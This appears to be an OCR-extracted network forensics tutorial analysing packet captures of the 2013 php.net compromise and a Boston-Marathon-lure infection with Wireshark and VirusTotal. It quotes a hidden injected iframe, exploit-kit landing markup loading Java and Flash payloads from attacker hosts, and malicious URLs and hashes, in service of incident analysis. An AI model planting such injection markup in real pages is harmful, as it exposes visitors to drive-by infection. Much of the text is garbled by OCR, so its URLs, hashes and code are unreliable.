If we upload the PCARP file to VirusTotal we can see the URLs which were visited by the infected com-
puter in the “File details” section. You can see the report of this PCAP file here: https://www.virustotal.
com/en/file/6e522e376e67c09adb6093a293452ba96ab1ea37db905c71cd58a6b5194115e7/analysis/.

@ HTTP requests

Jrazpave. intod bolg £ao0

[+] GET hitp://144.76.192.102/?9de261{3b66bad2b35e31bfdead75dlie
[+] GET hitp://144.76.192.102/?90i5b9a1fbcb2e4a879001a28d7940b4

Flgure 6. List of URLs Wthh were v:s:ted


http://www.wireshark.org/docs/dfref/
http://www.wireshark.org/docs/man-pages/tshark.html
http://www.alexa.com/siteinfo/php.net
http://www.alexa.com/siteinfo/php.net
http://barracudalabs.com/downloads/5f810408ddbbd6d349b4be4766f41a37.pcap
http://barracudalabs.com/downloads/5f810408ddbbd6d349b4be4766f41a37.pcap
https://www.virustotal.com/en/file/6e522e376e67c09adb6093a293452ba96ab1ea37db905c71cd58a6b5194115e7/analysis/
https://www.virustotal.com/en/file/6e522e376e67c09adb6093a293452ba96ab1ea37db905c71cd58a6b5194115e7/analysis/

/1111111777117

5f810408ddbbd6d349b4bed766f41a37.pcap [Wireshark 1.8.2 ] 1—‘:.»J-ﬁ..'.~J'-C~‘r°~

We can check this info opening the Pcap file with Wireshark.

File Edit View Go Capture Analyze 5tatistice lelephony Ilools Internals Help
Bedoea odxcecmaerr sy B e Bl -

Filter: [m IV Expression... Clear Apply Save

No. Time Source Destination Protoca Lengtl Info

39 15.623831 192.168.40.16 69.147.82.201 HTTP 351 GET /www.php.net/userprefs.js

L] @ Ready to load or capture . Packets: 1403 Displayed: 100 Marked: O Load ti...: Profile: Default

Figure 7. Packet captures

We can see that the www.php.net website was visited. You can see that www.php.net/userprefs.js is
the first script loaded. If we select the frame and right clicking on it, we can select “Follow TCP Stream”
option. Then, we obtain the script with the obfuscated code in the picture below. (This malicious code has
been removed from the website when it was discover by the php.net administrators).
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Figure 8. The script with the obfuscated code

The guys from Alienvault have decoded the script. They have published the picture below with the
code de-ofuscated here: http://www.alienvault.com/open-threat-exchange/blog/phpnet-potentially-com-
promised-and-redirecting-to-an-exploit-kit. We can see an IFRAME with a 10x10px size which redirects
the connection to another website was able in the php.net site.

<DIV style="height: 1@px; width: 1@px; overflow: hidden; position: absolute; left: -10000px;">
<IFRAME src=http://url.whichusb. co. uk/stat. htm</IFRAME></DIV>

Figure 9. The code de-ofuscated

If we research with Wireshark the link contained in the IFRAME in the picture above, we will see how
the code is trying to get the information about the computer. It wants to know if the browser has the Java
or AdobeReader plugins installed and enabled.

To see that, you can type the filter in the picture below:
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IM a g a zin e

Filter: httpcontains stat.ht v~ | Expression... Clear Apply Save
No. Time Source Destination Protoce Lengtl Info

4.203.236 HTTP 382 GET /stat.htm HTTI

Figure 10. Filter: http contains stat.htm

Then you should right click on it and select “TCP Follow Stream”.

Follow TCP Stream | — | O | X

Stream Content

Content-Type: application/x-javascript
Content-Length: 40276

Last-Modified: Thu, 25 Apr 2013 €0:11:35 GMT |
Connection: keep-alive

Accept-Ranges: bytes

J/* PluginDetect v6.7.5 by Eric Gerds www.pinlady.net/PluginDetect

[ onwWindowLoaded isMinVersion getVersion onDetectionDone getInfo Java(OTF &
NOTF) QT DevalVR Shockwave Flash WMP Silverlight VLC AdobeReader PDFreader(OTF
& NOTF) RealPlayer ] */var PluginDetect=

{version:"0.7.5",name: "PluginDetect",handler:function(c,b,a){return function(){c
(b,a)}},isDefined: function(b){return typeof b!="undefined"},isArray: function(b)
{return(/array/i).test(0Object.prototype.toString.call(b))},isFunc:function(b)

Entire conversation (43125 bytes) .o

Find | SaveAs | Print |7 ASCIl ) EBCDIC  HexDump ' CArrays @ Raw

Help Filter Out This Stream Close

Figure 11. Notice the line * PluginDetect v0.7.5

The next URL where the computer is redirected is /PluginDetect_Alljs. In the payload of this connec-
tion we can see that the hackers are using PluginDetect in order to detect the browser plugins.

wvar os=Pluginbetect.0s;

¥

catchied{}

war jaws=0;

i

SSwar javaversion=PluginDetect. getversion(' Java', ' ./ getjawvainfo.jar’);
war jawvaversion=0;

if(javaversion! =null)

1av=1;

I

catchied{}

war acrobat=new ob;ect();
acrobat.installed=Talse;

acrobat.version=0;

war podfi=0;

i

var adDbe=P1u?inDetect.getVersiDn(“AdDbeReader“);
ifCadobe!=nulT)

édfi:l'

r

catchied{}
war resoluz=0;
i

Figure 12. Notice the line PluginDetec.getversino(Java’,’./getjavainfo.jar)
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In the PCAP file we can see how the computer sends a POST connection telling to the website if it has
the Java or AdobeReader plugin enabled. Then, the web browser is redirected again.

5f810408ddbbd6d349b4bed766f41a37.pcap [Wireshark 1.8.2 ] | - l o |

File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help
= NC XgelQae»e sy BE

Filter: http contains stat. | v Expression... Clear Apply Save

No. Time Source Destination Protoce Lengtl Info

147 17.291162 192.168.40.10 91.214.203.236 HTTP 510 POST /stat.htm HTTP/1.1 (application

Figure 13. Computer sends a POST connection

=j.installed}}, zz: 0 ; PluginDetect. initScript (;|POST Astat. htm HTTP/ 1.1
Accept: mage/gif, image/ipeg, image/pipeg, images/pipeg, application/x-shockwave-flash, w/*
referer: http:/ url.whichush. co.uk/stat.htm

ACCEPT-Language: en-us

User-agent: Mozilla 4.0 (compatibhle; MSIE 8.0; windows NT 5.1; Trident/4.0)
Content-Type: applications=—www-Torm-urlencoded

Accept-Encoding: Ezip, deflate

Host: url.whichush.co.uk

Content-Length: 14

Connection: kKeep-aliwve

Cache-Control: no-cache

Td=800%7C1I%FCIHTTR, 1.1 302 Found

server: nginx/l.0.15

Date: Tue, 22 oct 2013 21:23:14 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive

¥-Powered-By: PHP/5.3.3

Expires: Tue, 22 Oct 2013 21:23:14 GMT
Last-Modified: Tue, 22 OcCt 2013 21:23:14 GMT
Pragma: no-cache

Cache-Control: no-cache, must-trevalidatrs
Location: |http /saes.whichdigitalphoto. co. uk/nid71 |
content-Lermgtrm o

Figure 14. Redirected connection

And then, the connection is redirected again to other site...

GET fﬂ“ld?l HT}P}%.l i y y " y - _f1ash, v/
accept: mageqi image/ipeq, image/pipeq, image/pipeg, applicationgx-shockwave-flas o
referer: http:/ url. whgchusb co.ukstat. htm

Accept-Language: en-us

User-agent: mMozillas4.0 (compatible; MSIE 8.0; windows NT 5.1; Trident/4.0)
Accept—Encodinﬁ: gzip, deflate

Host: aes.whichdigitalphoto. co.uk

Connection: Keep-aAliwve

Cache-Control: no-cache

HTTP/1.1 302 Found

server: nginxs/l.0.15

Date: Tue, 22 oct 2013 21:23:15 GMT
Content-Type: text/html; charset=utf-§
Connection: keep-aliwve

X-Powered-By: PHP/5.3.3

Expires: Thu, 21 Jul 1977 07:30:00 GMT
Last-Modified: Tue, 22 Oct 2013 21:23:1% GMT
Cache-Control: max-age=0

Erammar mo-cache

LOCATION: http://zivvgmyrwy. 3razbave, info/7695e6cca27beb62ddboagea7ored frhs=43 |
Content-Length: o

Figure 15. Redirected connection

...where there is another iframe...
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<html><head:>
</head:><hody>

<EMBED code="u" archive="http:// zivvamyrwy.3razbave. info/

b004 7396F70a98831acle3b25c324328,/582b3ae]1 558582094 e0bbf3e806F321b6cla" codehase="http://

zivwgmyrwy. 3razhave. 1nfob004 7396 70a985831acle3h25c324328, " type="application/x-java-applet” width="178"

height="237"></EMBED>

<APPLET code="u" archive="http:/ ziwvwomyrwy.3razbave. info/

hO04 739677 0ab8831acle3h25c324328,/82b3ael 58582594 e0bhf3eB806T321b6cla” codebase="http:/

Zivvgmyrwy. 3razbave. info/bh00473567 70295883 1acle3h25c324328," width="178" height="237"></APPLET>

<OBJECT cClassid="c1sid:BADBCE40-044E-11D1-B3EY-00805F455D0%3" width="178" height="237"><PARAM name="code"

value="u"><PARAM name="archive" va1ue=“http:jizivvgmyrwy.Erazbave.infoi

bO04 7396F70ab8831acle3h25c324328,/82b3ae1 588204 e0bbT3e806T321b6c1a " »<PARAM name="codebase" wvalue="http://

zivv?myrwy.Erazbave.info/b004?396f?0a98831ac1&3b25c3243281“></OBJECT>

<applet><param name="jnlp_href" value="http:/Sziwvwomyrwy.3razhave. info/

b004?396f?0a98831ac1e3b25c324328}65010ef2?22238da?ge35?9eb5da0ad?“><param name="javafx_wversion" wvalue="2z.1

+">< applet>

<Dbjec$pc1assid=“c1sid:dz?cdbee aefd-11cf-960b8-444553540000" width="178" height="237" id="swf_id"><param

name="mowvie" wvalue="http:/ /z2ivvgmyrwy.3razhave, info/

b004?396f?0a98831ac1e3b25c324328 Bfdc5T9653bbd 2a310b96F 5Th2 03815k, swf"><param name="allowscriptaccess”

value="always"><param_name="play" wvalue="0"><embed src="http:// zivvomyrwy.3razbave. info/

b004?396f?0a98831ac1e3b25c32432Sg’Sfdc5f9653bb42a310b96f5fb203815b swf'' Jd="swf_id" name- ‘swi_id"

21l owscrdntaccese="a3lways" tvna="annldratdiondy—chorkwawn flach' width="178" heojoht="2 ></embed><)fgbject>
iframe src="http:/ Zivvogmyrwy. 3razhave. info,h0047306T70a08831acle2h25c324328,/
FFc7B7c851c250e92de0tchate®B8609" width="178" height="237" frameBorder="0"></iframe>
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Figure 16. Iframe
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Figure 17. The last site

. which is the last site visited before to detect a malicious executable and contain a .swf file which is
the possible exploit. Also, if we visit these sites:

[+] GET hitp://zivwgmyrwy.3razbave.info/ ?695e6cca27beb62ddblaBea 70 7edifb8=43
[+] GET hitp://zivwgmyrwy.3razbave.info/b0047396f70a98831ac 1e3b25c324328/8fdc 519653bb42a310b96f5fD203815b. ..
[+] GET hittp://zivwgmyrwy.3razbave.info/b0047396f70a98831ac 1e3b25c324328/b7ic 797c851c250e92de05chbafe28609

Figure 18. Suspicious websites

We get the next advice in our browser.

[g\ Reported Attack Page!

This web page at zivwgmyrwy.3razbave.info has been reported as an attack page
and has been blocked based on your security preferences.

Attack pages try to install programs that steal private information, use your computer to

attack others, or damage your system.

Some attack pages inte ally distribute harmful software, but many are compromised
without the knowledge or permission of their ows

Get me out of here! Why was this page blocked?

Figure 19. Reported attack page warning



il

The next URL which was visited is marked in bold in VirusTotal. This means that the files that were

downloaded are categorized as malware by some antivirus engines.

[+] GET http:/144.76. 192,102/ 79 de26ff3b66had2h35e 3 1hid e adT Sudfe
[+] GET http:/144.76.192.102/290f5 b3 a 1fh ch2 e 42879001 a2 8 d7 94004
[+] GET http: /14476192 102/?8eecbci98bbIeB84092b02 2897 0d7 eae
[+] GET http:/i144.76.192.102/235523bb81e cab04f3e b d1748879f31c 1
[+] GET http:/ 144.76.192.102/7 b28h06f0 12219458 efha%fel d1fe 1hh3

[+] GET http:ffj.maxmind. comfappigenip.js
[+] GET hitp:/Awees google. cam/
[+] GET http://144.76.192.102/752 4 e64d e cdad 18824293 eTad cdbT al

Figure 20. URLs which were visited are marked in bold in VirusTotal
If we click in the sha256 link:

[+] GET httpeif144.76.192.102/79de 26 3bbEbad2b35e31 bfdeal7 o dfe

Request datetime 201 3-10-22 212502 418257

Request user-agent MMazillas4.0 (compstible; MSIE 5.0; Windows MT 5.1; Tridentid 07

Contacted host 1447619210280

Server response code 200

Response content sha25é I5d551 1449d1 2eBhcy Salc5TSbhddae QdBb3eu:8b3933h5c?44942b5?53d5df08dI

Response content file type PES2 executakle (GUN Intel 30356, for M= Windawys

Figure 21. Response content sha2565

We can see that this executables are categorized as malicious.

Drveh Trojan. Siggens BOSS5

Ermnsizsoft Trojan. GenerickDY. 1360855 (B)
ESET-MOD32 Win3d2MrojanDownloader Zurgop. AZ
F-Prat L]

F-Secure Trojan. GenerickDY. 1360899
Fartinet W2 Thaot PEDPIr

GData Trojan. GenerickDY. 1360899

Figure 22. Malicious executables

There are five files categorized as malware which are been downloaded. You can check it in the links:

* https://www.virustotal.com/en/file/d78fb2¢c23422471657a077ff68906d6f6b639d7b7b00ef-

269fa3a2ce1b38710a/analysis/

* https://www.virustotal.com/en/file/816b21df749b17029af83f94273fe 0fe480d25ee2f84fb25bf97d06a8

fadefe4/analysis/

* https://www.virustotal.com/en/file/3483a7264a3bef074d0c2715e90350calaa7387dee937679702d5a

d79b0c84ca/analysis/

* https://www.virustotal.com/en/file/5d651f449d12e6bc75a0c875b4dae19d8b3ec8b3933b6¢744942b5

763d5df08d/analysis/
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https://www.virustotal.com/en/file/5d651f449d12e6bc75a0c875b4dae19d8b3ec8b3933b6c744942b5763d5df08d/analysis/
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https://www.virustotal.com/en/file/bd56609c386a6b5bc18254c7327d221af182193eee5008f6e-
405ab5¢c1215b070/analysis/

Now, the computer is infected. The first network connection that the malware does is to visit a website
where there is a javascript that detects the computer location.

GET JSapp/ogeoip.js HTTR 1.0
Host: j.maxmind.com
Connection: close

HTTP 1.0 200 OK
Expires: Tue, 22 Oct 2013 19:58:38 GMT
Cache-Control: private, max-age=0
Content-Type: text/javascript; charset=IS0-8858-1
Access—Control-Allow-origin: ¥
Content-Length: 512
function geoip_country_code() { return 'Us'; &
function geoip_country_name() | return 'United States'; |
function geoip_city () i return 'Camphell’;
function geoip_regiong) { return 'CA';
function geoip_region_name() { return 'California'; T
function geoip_latitude() { return '
function geoip_longitudef) I return ' ' ;
function geoip_postal_code(d { return 'R ;
I return 'JE'; )
{ return el

function geoip_area_code(])
function geoip_metro_code()

¥

Figure 23. Computer location detected

If we check the next network connections, we can see a lot of them creating connections by 16471/
UDP port. This port is usually used by the ZeroAccess Trojan.

Figure 24. Connections created by 16471/UDP port

If we look at the Snort alerts in the Virustotal website where we loaded the pcap file, we can see the
security events detected by this IDS. We can see that it has detected the ZeroAcces Trojan and other
interesting events.

PROTOCOL-ICMP Time-To-Live Exceeded in Trangit (Misc activity)

Reset nutside windnw (Poatentially Dad Traffic)

FILE-EXECUTABLE Portable Executable binary file magic detected (Potential Corporate Privacy Yiolation)

HHOWSE R-PLUGINGS Oracle JRE Deployment Tonlkit Actvel cland access atterpt (Atternpted User Prvlege (Gain)

BROVSER-IE Microsofi Intarnet Explarer WIML array with negative length memory carmuption attempt (&ttempted User Privilege Gain)

WALWARE-CNG Win. | rojan. Lerofcces: it d comm tiom (A& Metwork Trajan was Detected)
BALVYARE-CHMEC YWin Trojan. Zarod L d communication (4 Metwork Trojan was Datactad)

{spp_sdi] SUF Combination Aled (Sensitve Data was Transmilted Across the Network)

INDICATOR-COMPROMISE IP address check to jormsxmind. com delecled (Misc activity)

EXLON-KIT Mutiple exploit kit landing page - specific structure (A Metwork Trojan was Uetected)

SEMSITIVE-DATA Email Addiesses (Sensitive Dala was Transmitled Across the Melwork)

FILE EXECUTABLE Armadillo w1.71 packer file magic detected (Potential Corporate Privacy Yiolation)

INDICATOR- SHELLCODE wnescape encuded shellcode (Exevulable Code was Delucled)

FILE OTHER Multiple vendor Antiviruz magic byte detection evasion attempt (Atempted User Privilege Gain)

BAD-TRAFFIC Microsull IS4 Sewver and Forefronl Threal Managernent Gateway imalid RET denial of senice attempt (Atlempled Denial of Senice)
PROTOCOL ICMP Destination Unreachable Port Unrcachable (Misc activity)

Figure 25. Zero Access Trojan has been detected
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If we trust in the PCAP file that Barracuda offers us, we can tell that www.php.net was compromised by
hackers. These hackers uploaded a javascript to the main page of this site which redirected to another
one where there was a web plugin detector. Depending on what browser plugins are enabled in the com-
puter, the website could redirect you to a Java or AdobeReader exploit. Then, after exploiting the vulner-
ability, a trojan that seems to be the ZeroAccess trojan is donwloaded and installed. It seems that this

trojan is focused on click-fraud.

EXTRACT MALICIOUS FILES FROM THE PCAP FILE

In order to research the malware which are involved in this incident, we can extract these files from the
Pcap file, and then, upload them to Virustotal to know more of them. Also, It is really interesting to make

a reverse engineer of the malware files.

There are some techniques to extract the files but in this article, | will show you only the one using Wire-
shark. With the Pcap file opened in Wireshark, click on File -> Export Objects -> HTTP.

Wireshark: HTTP abject list

20 php.net text/htmi 32366 /

51 static.php.net tewt/javaseript E77%  userprefsjs

66 static.php.net text/css 22773 site.css

73 static_php.net texticss 496 print.css

74 static.php.net text/css 1271  phpnet.css

79 static.php.net image/gif 2523 php.gif

92 static_php.net image/png 178 righthar. png

93 static_php.net mage/png 207 Lleftbar png

94 static.phpanet mnage/yil o/ smiadl - submit white.gil

102 url.whichusb.couk text/html 833 stat.htm

142 url.whichusb.co.uk application/x-javascript 40276 PluginDetect_All.js

147 url. whichush.co.uk application/x -www-form-urlencoded 14 stat.htm

167 zivvgmyrwy. 3razbave.info text/html 1BO3 7695ebccal Tbebb2ddbDaBeal0 /edttbB=43
183 nvgmyrwy, 3razbave.info text/html 261 Bfdc5M9653bb4 2231069615 2038150, swl

rgmyrwy. 3razbave.info text/html 11542 b7fc797c851c250092de05cbafe 98609

Help Save As

Figure 26. Wireshark HTTP object list

Save AlL Cancel

Click on “Save All” to save all the files. When they are saved, we can execute “file * | grep PE32” to

look for the executables file types.
f35523bb81ecab@4f9ebd1748879f3fcl: executable (GUI

) Intel 80386, for MS Windows

f52d4e644e9cdas518824293e7ad4cdb7al: executable (console) Intel 80386, for MS Windows
foefs5b9alfbcb2e4aB879001a28d7940b4: executable (GUI

fode26ff3b66baB2b35e31bf4eas7sdfe: executable (GUI
%3fb28b06TO1e219d58efbasfe@d1felbb3: executable (GUI

Figure 27. Executables file types

) Intel 88386, for MS Windows
) Intel 80386, for MS Windows
) Intel 80386, for MS Windows

If we get the sha 256 sum, we can check that they are the same that Virustotal has detected and we

can start with the reverse engineer.

jnicto@bchindthefirewalls: -/php_attack$ sha256sum %3f+
d/BTb2cz2342247165/a07/TT68Y00d6TODE39d/brboReT2 a3aZcelb38r1va
816b21df749b17029af83f94273fe@fe480d25ee2fB4fb25bfO7d06aB adefed

348347264a3bel074d0c2715e90350Calaa7387dee937679702d5ad79bocB4ca
5d651F449d1?e6hc75aAcR75h4das19d8b3ecRh3933h6c 744947 h5763d5dFaRd
bd56609c386a6b5bc18254c7327d221af182193eee5008T6e405ab5c1215b070

Figure 28. Files are the same as detected by Virustotal

#%3T35523bb81ecact4rvebdl /488 /9T3TC1
3f52d4e644e9cdas18824293e7ad4cdb7al
%3Mgarsboalrbecb2ed4a879001828d7940b4a
3fode?aff3h66haR?b35e31hf4ea975dfe
b28boefole219d58efba2feddife1bbl

ANOTHER REAL NETWORK FORENSICS EXAMPLE - MALWARE RELATED TO BOSTON

BOMBS

This pcap was sent to me as a real incident | handled and contains the traffic generated by only one sus-
picious computer. This pcap file was captured sniffing with Tshark in a Port Mirror of the reserved port of

the firewall.
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The first thing | usually do is to upload the pcap file to Virustotal (depending on company policy). It will
give us a lot of valuable information about our traffic captures.

You can see (check the link below) the analysis of our pcap file by Virustotal: https:/www.virustotal.
com/file/f67b8c98bba320a2895962107f0c5e794d3eb85f8a09bb321787634cb12f8c9a/analysis/.

After uploading the pcap file to www.virustotal.com we can see that three files have been downloaded
and the website detects them as Malware. Also we can see that there are 15 alerts from Snort IDS and
30 alerts from Suricata IDS.

b total

SHAZSE: fE7hBcA8hha320a2895962107Mcae7 94d3ebB5f3a09hh 321 7ETE34ch1 28003 $
Mambre: captura.poap =53
Detecciones: 3747 ‘r O D
Fecha de

ST 2013-06-10 18:20:42 UTC {hace 2 meses, 1 semana )
analisis:

= Analisis @, File detail @ Informacidn adicional @ Comentarios iviatos

Intrusion Detection System Resultado

Snort 15 alerts

Suricata 30 alerts

Anttivirus Resultado Actualizacion
Agniturm <@ 20130808
AhnLab-V3 L] 20130610
Antivir [] 20130610

Figure 29. First details from Virustotal

If we go to “File detail” section, Virustotal will help us locate what websites have been visited in the traf-
fic capture.

WGHTTP requests

[+] GET hitpitwwniegoogle. esi

[+] GET hitpefiveeni google esicsi?v=38s=webhp&action=58e=17 25939523 4000116, 4001569 4001947 4001959 400285,
[+] GET hitpitwonnigoogle esis?hl=eségs_rm=9&ngs_ri=psy-abiop=1E&gs_id=5E&xhr=t&n=h&es_nre=true&pi=pioutput=...
[+] GET hitpoitwanagoogle . esficompletersearch?client=hpéhl=es&os_rm=9&0s_ri=psy-abh&ocp=180s_id=9&xhr=t&ng=hE. .
[+] GET hitpeitwanan goodle. esthlank html

[+] GET hitpitvwanssegoogle esis?hl=es&gs_rn=9&gs_ri=psyv-abiop=28&0s_id=7&xhr=t&g=holes_nre=true&p=p&output...
[+] GET hitpitanni google esicompletelsearch?client=hp&hl=es&gs_rn=9&gs_ri=psy-ab&op=2&gs_id=7 Exhr=t&g=ho. .

Figure 30. Some URLs visited in the incident handle

We can see several searches on Google. The majority of them are searches related with the Boston
Marathon. You may notice that this traffic capture was taken days before the Boston Marathon explosion.
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[+] GET http:ffwewnne google esfs?hi=eslys_m=98gs_riepsy-ablop=7 &ys_id=mExhr=tLg=jdiglly - 208.e5_nrs=truep=p...
[+] GET http: e google es/complete/search?client=hp&hl=esfgs m=2%gs rimpsy-ablop=7 &gs_id=mixh=tg=hbo. .

[+] GET http:ffwewne google. es/s?hi=estgs_m=98gs_rimpsy-ablcp=8&gs_id=pixhr=tiq={day> . Omaes_nrs=truefpf=...
[+] GET http:feveee google. es/complete/search?client=hp&hl=esfgs_rm=9%&gs_ri=psy-ablcp=8&gs_id=pixhr=tdg=ba...

[+] GET http:fevree google esfa?hl=eslys m=98gs r=psy-abfop=08gs id=sfxhr=ti =gy 20rmates nra=truadpf.
[+] GET http:fevicee google esfcomplete/search?client=hp&hl=esfgs m=28gs rispsy-ablop=DLgs_id=sixhr=tlg=bao.
[+] GET http:ffwwne google. esfimagesigrey_pins2. png

[+] GET http:#news. google. es/news/tbnBRCCvAelullB jpg

[+] GET http:fwicee google.esfs?hlmestgs_m=98gs_repsy-ablop=108gs_id=vixh=tiq=[lgeg 20 mardes_nre=trued. ..
[+] GET http:fevree google es/completel/search?client=hp&hl=es s m=28&gs riepsy-ablop=108gs id=vixhr=tig=h. .
[+] GET http:#ssl gstatic comduisd/menufcheckmark2 png

[+] GET http:ffwwne google. esimapsitidata=AyaEWEeob WIPLDY ol ofy o uS w55 007 Ag, SauizAsII 0k Qo uF HA8W e .

[+] GET http:fevree google.esfs?hlmeségs_m=98gs_ri=psy-abdcp=118gs_id=y&xhr=t &o=elly o 20marades_nrs=true...
[+] GET http:fevicee google. es/complete/search?client=hp&hl=esfgs m=9%&gs ri=psy-ablop=118&gs_id=ya&xhr=t&g=h. .
[+] GET http:feviree google esfxjs/ fs/shwtalt=jiver=_nTMO-1j5A en_ US farm=And=0/s=1/rs=ARRSTPIG SN,

[+] GET http: e google esfesi®=34s=weblaction=Eei=SgSIZb2Nemkh Ofe0IHIBO &e=17 259 35523 4000116 400156,

[+] GET http:ifwinee google.esfs?hlmestgs_m=98&gs_r=psy-abfop=14&gs_id=14Exhr=t &o=ifdgly - 2Omaratonées_nrs=...
[+] GET http:Aevnee google. es/complete/search?client=hp&hl=es&gs_rm=9%gs_ri=psy-abicp=148gs_id=148xh=t&eg=. ..

[+] GET http:fwvnee google. esfmapsit/data=0kD0 |1 oleMyd ZUBE-W2ENIZUucg THNF gplmd SauizAs91OknvQocuF HABWW ST Wik,
[+] GET http:fwveee google esfgen 2047 atyp=ifct=Iu_featurermap&cad=14028ei=9g3U b2 NemhOfe0IHIBO &z x=1366274.
[+] GET http:/ferwew google. esfigen_2047atyp=itct=1&cad=1&eqi=3 Lol ot i o= w20 maraton&gs ...

Figure 31. Websites visited during the live capture

Also, some videos have been seen about the Boston Marathon explosion.

[+] GET hittp:/188.2. 164112/ ey,

[+] GET http: /e[GO, comdembed/HAM S qbgeho
[+] GET http: /e JTE. cormdembed/RIHnpHZpF cw
[+] GET http: /ey JRTEE. cormdermbed/7 oolDy TZ-Zs
[+] GET http:/fheathawkheaters. corlhair html

[+] GET http:ffcr geotrust. com/crlsfsecureca.crl

[+] GET http: /s TG, comiermbed/ U7 rOBwlUcE

Figure 32. Some videos watched on YouTube

Figure 33. Screenshot of YouTube video
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Figure 34. Screenshot of YouTube video

After that, Virustotal gives us the best information, the files that have been downloaded and have been
recognized by the majority of Antivirus. We can see the following links in bold.

[+] GET http:/heathawkheaters.comaz.jar
[+] GET hatp:/heathawkheaters.comiz 1.jar
[+] GET hitp:fiheathawkheaters.comi1 3. himl
[+] GET http:/kolasoeqgrunewhos3.exe

Figure 35. Malicious files

If we expand the URL we will get information about the requested files.

[+] GET httpiiheathawkheaters. comizl jar

Request datetime 2013-0418 10:34:38 534826

Request user-agernt Mozillard.0 Qindowes P 517 Javal 5.0_21
Cortacted host 216172186 .132:80

Server response code 200

Response content file name wzl.jar

Response cortent file type Zip archive data, at least w1.0 to extract

Figure 36. First information about the suspicious file

If we click on the sha 256 checksum, the website redirects us to other Virustotal page where it will give
us the security details of the file. In the information in the picture below, we can see the first two down-
loads (vz1.jar) are an exploit. This exploit takes advantage of the CVE-2012-1723 (http://cve.mitre.org/
cgi-bin/cvename.cgi?name=CVE-2012-1723). It's an unspecified vulnerability in the Java Runtime Envi-
ronment that allows the remote attackers to affect confidentiality, integrity, and availability via unknown
vectors related to Hotspot.


http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1723
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1723

Ed total

SHAZSE: Ohfacdfd7 387 cfd1 8d53e 46311 9d98c8hd1 443928501 37hhE503d1faa85555dh

Mlombre: vzl jar :
Detecciones: 19747

Fec’hlalde 2013-06-11 04:05:118 UTC (hace 2 meses )

analisis:

= Analisis 22 Relationships @ Informacion adicional & Comentarios ivotos

Antivirus Resultado Actualizacion
Anniturm @ 20130611
AhnLab-V3 JAAICye-2012-1723 20130610
Antivir ExFilava HLPA 1667 20130611
Antiy-AvL @ 20130610
HArast Java:Malware-gen [Tr] 20130611
MG Exploit.Java_c.GJU 20130611

Figure 37. Antivirus detects the vzl jar file as exploit

The last file (newbos3.exe) is detected by the majority of the Antivirus as Trojan Malware.

v total

SHAZ5E: Bhab0821aecd4f 3ed1af7el7 3fab28c2efBhbdc3Bhe1 886a7a5TeTe173hes36h
Mombre: newhos3.exe
Detecciones: g4y " 2 @ O
Fecha de
S 2013-06-11 04:24:30 UTC (hace 2 meses )
analisis:
taz detalles
= Analisis @, File detail 22 Relationships @ Informacion adicional @ Comentarios Fivotos

2 Informacidn de comportamiento

Antivirus Resultade Actualizacién
Agnitum e 20130611
Ahnlab-v3 Trojantin32 Fareign 20130610
Antivir BDS/Kelihos.dH.10 20130611
Antiy-AyL <@ 20130610
Avast Win32:kneptik- LKW [Tr] 20130611

Figure 38. The newbos3.exe file is detected as malware
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Currently, we have an idea of what is happening in this incident. We are still working on it and in the
last part of the article, we will show you the conclusion.

Another function Virustotal gives us is the information about the DNS requests in the pcap file.

@ DNS requests

ASPMX.L.GOOGLE.COM
17319468627

dcigroup.ae
panascenic.aere
128.165.53. 195 in-addr.arpa

AIVAGE G COILan
Show all

Figure 39. Some DNS requested in the incident

Other really valuable information Virustotal offers us, is to send to their IDS system, Snort and Suricata
the pcap file in order to search security events like attacks, exploits, vulnerabilities etc. If you do not have
this system, it could help you a lot. These IDS are really useful because they have thousands of signa-
tures which recognize every security event and they are free. Also, if you install these systems in “live
mode” sniffing in a “port span” or “port mirror”, they will collect the evidences of the security attacks in a
pcap file. We can see the Snort and Suricata events in the picture below.

& Fnort alarts

Consecutive TCP small segments excesding threshold (Potentialhy Bad Traffic)

thttp_inspect) SIMPLE REQUEST (Unknown Tratfic)

FILE-EXECUTABLE Portable Executable binary file magic detected (Potential Corporate Privacy “Jolation)
BAD-TRAFFIC TG Firewall Client long host entry exploit attempt (Attempted User Privilege Gain)
SERWER-WAIL SWATP relaying denied ivisc activity)

(zpp_sdf) S0F Combingtion Aert (Sensitive Oata was Transmitted Across the Network)
hlsLiARE-OTHER Double HTTP Server declared (A Netwark Trojan was Detected)

SEMNSITINVE DATA Email Addreszes (Sensitive Data was Transmitted Across the Metwor)
(hitp_inspect) HTTP RESPOMSE GZIF DECOMPRESSI0OMN FAILED (Unknown Traffic)
EXPLOIT-KIT Redkit exploit kit java exploit request (A Netwark Trojan was Detected)

EXPLOIT-KIT Redkit exploit kit payload requested (& Network Trojan was Detected)

EXPLOIT-KIT Redkit exploit kit obfuscated portable emeciutable (& Metwork Trojan was Detectad)
SERWER-WEBAPP login htm aceess (Aocess to 3 Potentially “Ailnerable Wieb Application)
(http_inspect) UMEMOUWMN METHOD (Unknown Traffic)

OME SPOOF query response with TTL of 1 min. and no authorty (Potertially Bad Traffic)

Conaz

Figure 40. Snort IDS alerts



A Suricata alerts

ET CURRENT_EWEMTS Suspicious double HTTP Header possible botnet CnC oA Metwark Trojan was Detected)
ET CURRENT_EWEMTS Wi32/Zhot Mariant Fake MEIEG.0 LACA Metwork Trojan was Detected)

ET IMFO J#u - Java Archive Download By ‘Winerable Client (A Metwork Trojan was Detected)

ET ShWTP Abuszeat.org Block Message (Mot Suspicious Traffic)

ET SCAN Unusually Fast 400 Eror heszages (Bad Request), Possible Wiek Application Scan (Mtempted Information Leak)
ET CURRENT_EwEMTS Redkit Jar Maming Pattem hdanch 03 2013 (A Metwork Trojan was Detactad)

ET TROJAN WinZ2 kelinos . F Checkin 8 (A Metwork Trojan was Detected)

ET TROJAN W32 kelinos. F Checkin § (& Metwork Trojan was Detected)

ET POLICY Reserved Intemal IP Traffic (Potentially Bad Traffic)

ET CURRENT_EwEMTS Redkit - Potential Payload Requested - f2Digit.btml (Potentially Bad Traffic)

ET POLICY exe download wia HTTP - Informational (Potential Corporate Privacy ‘Jolation)

GPL ShATP ShATP relaving denied (hisc activity)

ET INFO Esecutable Retriewed Wifth hinimal HTTP Headers - Potential Second Stage Download (Potentially Bad Traffic)
ET POLICY Jawva Ud Lib User Agent (fttempted Information Leak)

ET POLICY Inbound Frequent Emails - Possible Spambat Inbound (hise activity)

ET POLICY exe download without User #gent (Potential Corporate Privacy hdolation

